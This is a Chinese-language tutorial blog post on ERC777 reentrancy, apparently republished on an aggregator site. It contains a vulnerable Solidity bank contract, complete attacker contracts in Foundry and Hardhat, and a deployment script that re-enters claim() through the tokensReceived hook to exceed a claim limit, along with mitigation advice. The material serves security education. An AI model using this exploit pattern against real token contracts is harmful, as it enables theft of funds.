当前位置: 首页 > news >正文

区块链安全常见的攻击——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】

区块链安全常见的攻击分析——ERC777 重入漏洞 ERC777 Reentrancy Vulnerability【5】

  • 区块链安全常见的攻击合约和简单复现,附带详细分析——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】
      • 1.1 漏洞合约
      • 1.2 漏洞分析
      • 1.3 攻击分析
      • 1.4 攻击合约
      • 1.5 hardhat版本自己重现了一次

区块链安全常见的攻击合约和简单复现,附带详细分析——ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)【5】

Name: ERC777 重入漏洞 (ERC777 Reentrancy Vulnerability)

**重点:**通过使用 IERC1820Registry 调用 setInterfaceImplementer 函数,将 ERC777TokensRecipient 接口指向攻击合约地址。攻击合约实现了 tokensReceived 钩子函数,并在钩子中调用 SimpleBankContract.claim(address(this), 1000)。当攻击者调用 SimpleBankContractclaim 函数时,会触发 tokensReceived 钩子,钩子中再次调用 claim,从而实现重入攻击。利用这一漏洞,攻击者能够绕过 SimpleBankContract 对单账户提取上限的限制,反复提取超额代币。

1.1 漏洞合约

contract MyERC777 is ERC777 {constructor(uint256 initialSupply) ERC777("Gold", "GLD", new address[](0)) {}function mint(address account,uint256 amount,bytes memory userData,bytes memory operatorData) public returns (bool) {_mint(account, amount, userData, operatorData);return true;}
}contract SimpleBank is Test {ERC777 private token;uint maxMintsPerAddress = 1000;mapping(address => uint256) public _mints;bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient");function setUp() external {// mock ERC1820Registry contract in foundryvm.etch(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),bytes(hex"608060405234801561001057600080fd5b5060043610..."));}constructor(address nftAddress) {token = ERC777(nftAddress);// Register IERC1820RegistryIERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));}function claim(address account, uint256 amount) public returns (bool) {// Check if total claims for the address would exceed max mints per address.require(_mints[account] + amount <= maxMintsPerAddress,"Exceeds max mints per address");token.transfer(account, amount);_mints[account] += amount; // Do not follow check-effect-interactionreturn true;}function tokensReceived(address operator,address from,address to,uint256 amount,bytes calldata data,bytes calldata operatorData) external {}receive() external payable {}
}

1.2 漏洞分析

ERC777 的 transfer 函数会触发 tokensReceived 钩子,该钩子允许执行任意代码。
攻击合约可以在 tokensReceived 钩子中通过重入再次调用 claim,从而绕过 _mints 的检查逻辑,重复领取更多代币。
在这里插入图片描述

1.3 攻击分析

  1. 恶意合约首先调用 claim 函数申请代币。
    在这里插入图片描述
    在这里插入图片描述

  2. token.transfer 被调用,此时触发_send→_callTokensReceived→ tokensReceived 钩子。

function transfer(address recipient, uint256 amount) public virtual override returns (bool) {_send(_msgSender(), recipient, amount, "", "", false);return true;}function _send(address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData,bool requireReceptionAck) internal virtual {require(from != address(0), "ERC777: transfer from the zero address");require(to != address(0), "ERC777: transfer to the zero address");address operator = _msgSender();_callTokensToSend(operator, from, to, amount, userData, operatorData);_move(operator, from, to, amount, userData, operatorData);_callTokensReceived(operator, from, to, amount, userData, operatorData, requireReceptionAck);}function _callTokensReceived(address operator,address from,address to,uint256 amount,bytes memory userData,bytes memory operatorData,bool requireReceptionAck) private {address implementer = _ERC1820_REGISTRY.getInterfaceImplementer(to, _TOKENS_RECIPIENT_INTERFACE_HASH);if (implementer != address(0)) {IERC777Recipient(implementer).tokensReceived(operator, from, to, amount, userData, operatorData);} else if (requireReceptionAck) {require(!to.isContract(), "ERC777: token recipient contract has no implementer for ERC777TokensRecipient");}}
  1. 恶意合约在 tokensReceived 钩子中再次调用 claim,因为 _mints 尚未更新,绕过了检查。
// tokensReceived 钩子函数 - 用于执行重入攻击function tokensReceived(address payable operator, // 操作者地址address from, // 发送者地址address to, // 接收者地址uint256 amount, // 转账金额bytes calldata data,bytes calldata operatorData) external {if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {console.log("777-ContractTest-tokensReceived()-222");// 在回调中再次调用领取函数,绕过领取上限SimpleBank(operator).claim(address(this), 1000);}}
  1. 因此获取超过限制的代币。
    在这里插入图片描述

1.4 攻击合约

// ----------------- 攻击 -------------------
contract ContractTest is Test {MyERC777 MyERC777TokenContract; // 自定义 ERC777 合约实例SimpleBank SimpleBankContract; // 简单银行合约实例address alice = vm.addr(1); // Alice 的地址address eve = vm.addr(2); // Eve 的地址bytes32 private constant _TOKENS_SENDER_INTERFACE_HASH =keccak256("ERC777TokensSender"); // ERC1820 发送者接口bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient"); // ERC1820 接收者接口// 初始化测试环境function setUp() external {// 使用 Foundry 模拟 ERC1820Registry 合约vm.etch(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24),bytes(hex"608060405234801561001057600..."));MyERC777TokenContract = new MyERC777(0); // 部署自定义 ERC777 合约}// 测试 ERC777 重入攻击function testERC777Reentrancy() public {// 在 ERC1820Registry 中注册接收者接口IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));// 注册 tokensReceived 钩子函数registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));// 初始化环境SimpleBankContract = new SimpleBank(address(MyERC777TokenContract));MyERC777TokenContract.mint(address(SimpleBankContract), 10000, "", ""); // 铸造 10,000 个代币到银行合约console.log("Maximum claims is 1,000 for each EOA, How can you bypass this limitation?");console.log("testERC777Reentrancy attack address(this)",address(this) // 攻击前余额);console.log("Before exploiting, My GLD Balance :",MyERC777TokenContract.balanceOf(address(this)) // 攻击前余额);// 发起领取请求,触发 tokensReceived 回调函数SimpleBankContract.claim(address(this), 900);// 攻击后余额,预期应为 1,900console.log("After exploiting, My GLD Balance :",MyERC777TokenContract.balanceOf(address(this)) // 攻击后余额);}// tokensReceived 钩子函数 - 用于执行重入攻击function tokensReceived(address payable operator, // 操作者地址address from, // 发送者地址address to, // 接收者地址uint256 amount, // 转账金额bytes calldata data,bytes calldata operatorData) external {if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {console.log("777-ContractTest-tokensReceived()-222");// 在回调中再次调用领取函数,绕过领取上限SimpleBank(operator).claim(address(this), 1000);}}// 接收以太币的回退函数receive() external payable {}
}

1.5 hardhat版本自己重现了一次

漏洞合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;import "./openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";/*
名称:ERC777 重入漏洞描述:
ERC777 代币允许在代币转账过程中通过钩子函数(`tokensReceived`)执行任意回调。
如果没有使用重入保护(Reentrancy Guard),恶意合约可以利用这些回调进行重入攻击,导致状态不一致或逻辑错误。场景:
假设每个外部账户(EOA)最多只能领取 1,000 个代币。
攻击者可以通过重入调用绕过这一限制,领取超过上限的代币。缓解措施:
1. 遵循检查-效果-交互模式(Check-Effect-Interaction)。
2. 使用 OpenZeppelin 的 `ReentrancyGuard` 防止重入攻击。参考:
https://medium.com/cream-finance/c-r-e-a-m-finance-post-mortem-amp-exploit-6ceb20a630c5
*/contract MyERC777 is ERC777 {constructor(uint256 initialSupply) ERC777("Gold", "GLD", new address[](0)) {}function mint(address account,uint256 amount,bytes memory userData,bytes memory operatorData) public returns (bool) {console.log("MyERC777-mint()-111");_mint(account, amount, userData, operatorData);return true;}
}contract SimpleBank {ERC777 private token; // ERC777 代币实例uint maxMintsPerAddress = 1000; // 每个地址的最大领取限制mapping(address => uint256) public _mints; // 记录用户已领取的代币数量bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient");constructor(address nftAddress) {token = ERC777(nftAddress);// 在 ERC1820Registry 中注册接收者接口IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));}function getNum() public view returns (address registryGet) {IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registryGet = registry.getInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH);return registryGet;}// 用户领取代币function claim(address account, uint256 amount) public returns (bool) {// 检查领取是否超出限制require(_mints[account] + amount <= maxMintsPerAddress,"Exceeds max mints per address");console.log("111-ERC777-reentrancy-claim()");token.transfer(account, amount); // 转移代币_mints[account] += amount; // 更新领取记录(未遵循检查-效果-交互模式)return true;}// tokensReceived 回调函数function tokensReceived(address operator,address from,address to,uint256 amount,bytes calldata data,bytes calldata operatorData) external {console.log("777-SimpleBank-tokensReceived()-111");}// 接收以太币回退函数receive() external payable {}
}

攻击合约

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "./openzeppelin-contracts/contracts/token/ERC777/ERC777.sol";
import "./ERC777-Bank.sol";contract ERC777Attack {MyERC777 MyERC777TokenContract; // 自定义 ERC777 合约实例SimpleBank SimpleBankContract; // 简单银行合约实例bytes32 private constant _TOKENS_RECIPIENT_INTERFACE_HASH =keccak256("ERC777TokensRecipient");constructor(address MyERC777TokenAddress, address SimpleBankAddress) {MyERC777TokenContract = MyERC777(address(MyERC777TokenAddress));SimpleBankContract = SimpleBank(payable(address(SimpleBankAddress)));// // 在 ERC1820Registry 中注册接收者接口// IERC1820Registry registry = IERC1820Registry(//     address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24)// );// registry.setInterfaceImplementer(//     address(this),//     _TOKENS_RECIPIENT_INTERFACE_HASH,//     address(this)// );}function resetRegistry() public {// 在 ERC1820Registry 中注册接收者接口IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));// 注册 tokensReceived 钩子函数registry.setInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH,address(this));}function getNum() public view returns (address registryGet) {IERC1820Registry registry = IERC1820Registry(address(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24));registryGet = registry.getInterfaceImplementer(address(this),_TOKENS_RECIPIENT_INTERFACE_HASH);return registryGet;}function attack() public {resetRegistry();// 发起领取请求,触发 tokensReceived 回调函数SimpleBankContract.claim(address(this), 100);}// tokensReceived 钩子函数 - 用于执行重入攻击function tokensReceived(address payable operator, // 操作者地址address from, // 发送者地址address to, // 接收者地址uint256 amount, // 转账金额bytes calldata data,bytes calldata operatorData) external {if (MyERC777TokenContract.balanceOf(address(this)) <= 1000) {console.log("777-ContractTest-tokensReceived()-222");// 在回调中再次调用领取函数,绕过领取上限SimpleBankContract.claim(address(this), 1000);}}receive() external payable {}
}

js 脚本

const { ethers } = require("hardhat");
const MyERC777 = require("../artifacts/contracts/ERC777-Bank.sol/MyERC777.json");
const SimpleBank = require("../artifacts/contracts/ERC777-Bank.sol/SimpleBank.json");
const ERC777Attack = require("../artifacts/contracts/ERC777-reentrancy-Attack.sol/ERC777Attack.json");
const hre = require("hardhat");describe("ERC777", function () {var ERC1820Registry,MyERC777Contract,MyERC777Address,SimpleBankContract,SimpleBankAddress,ERC777AttackContract,ERC777AttackAddress;async function erc777ReentrancyTest() {const [owner, implementer] = await ethers.getSigners();const erc1820Address = "0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24";ERC1820Registry = await ethers.getContractAt("IERC1820Registry",erc1820Address);console.log("ERC1820Registry address:", await ERC1820Registry.getAddress());const MyERC777Factory = new ethers.ContractFactory(MyERC777.abi,MyERC777.bytecode,owner);MyERC777Contract = await MyERC777Factory.deploy(0);MyERC777Address = await MyERC777Contract.getAddress();console.log("MyERC777 address:", MyERC777Address);const SimpleBankFactory = new ethers.ContractFactory(SimpleBank.abi,SimpleBank.bytecode,owner);SimpleBankContract = await SimpleBankFactory.deploy(MyERC777Address);SimpleBankAddress = await SimpleBankContract.getAddress();console.log("SimpleBank address:", SimpleBankAddress);const ERC777AttackFactory = new ethers.ContractFactory(ERC777Attack.abi,ERC777Attack.bytecode,owner);ERC777AttackContract = await ERC777AttackFactory.deploy(MyERC777Address,SimpleBankAddress);ERC777AttackAddress = await ERC777AttackContract.getAddress();console.log("ERC777AttackContract address", ERC777AttackAddress);}async function erc777ReentrancyAttack() {let bankBalance = await MyERC777Contract.balanceOf(SimpleBankAddress);console.log("bank contract Balance:", bankBalance);// 攻击前提,Bank合约有代币await MyERC777Contract.mint(SimpleBankAddress,10000,"0x", // 用有效的空字节"0x" // 用有效的空字节);bankBalance = await MyERC777Contract.balanceOf(SimpleBankAddress);console.log("bank contract Balance:", bankBalance);let attackBalance = await MyERC777Contract.balanceOf(ERC777AttackAddress);console.log("攻击前,attack contract Balance:", attackBalance);// ------- 攻击---------------发起领取请求,触发 tokensReceived 回调函数await ERC777AttackContract.attack();attackBalance = await MyERC777Contract.balanceOf(ERC777AttackAddress);console.log("攻击后,attack contract Balance:", attackBalance);registryGet = await ERC777AttackContract.getNum();// console.log("registryGet address:", registryGet);}it("erc777ReentrancyTest deploy error", async function () {await erc777ReentrancyTest();});it("erc777ReentrancyTest attack error", async function () {await erc777ReentrancyAttack();});
});

结果输出:
在这里插入图片描述


http://www.mrgr.cn/news/81875.html

相关文章:

  • NLP初识
  • 大电流和大电压采样电路
  • 专题十四——BFS
  • 从0到机器视觉工程师(一):机器视觉工业相机总结
  • 在虚幻引擎4(UE4)中使用蓝图的详细教程
  • Synopsys软件基本使用方法
  • 【深入剖析开源项目 Infrastructure:技术基石与无限可能】
  • docker 安装与配置 gitlab
  • java开发中注解汇总​​
  • 基于SpringBoot+Vue的旅游推荐系统
  • 网络基础知识总结
  • Postman接口测试03|执行接口测试、全局变量和环境变量、接口关联、动态参数、断言
  • 精通 CSS 阴影效果:从基础到高级应用
  • 2.微服务灰度发布落地实践(agent实现)
  • RabbitMQ工作模式(详解 工作模式:简单队列、工作队列、公平分发以及消息应答和消息持久化)
  • nss刷题
  • vue 基础学习
  • win10、win11-鼠标右键还原、暂停更新
  • Linux 笔记 /etc 目录有什么用?
  • Datawhale-AI冬令营二期
  • llm知识梳理
  • 深度学习笔记(9)——神经网络和反向传播
  • ESP-IDF学习记录(2)ESP-IDF 扩展的简单使用
  • STM32F103RCT6学习之三:串口
  • 若依定时任务
  • Qt 中实现系统主题感知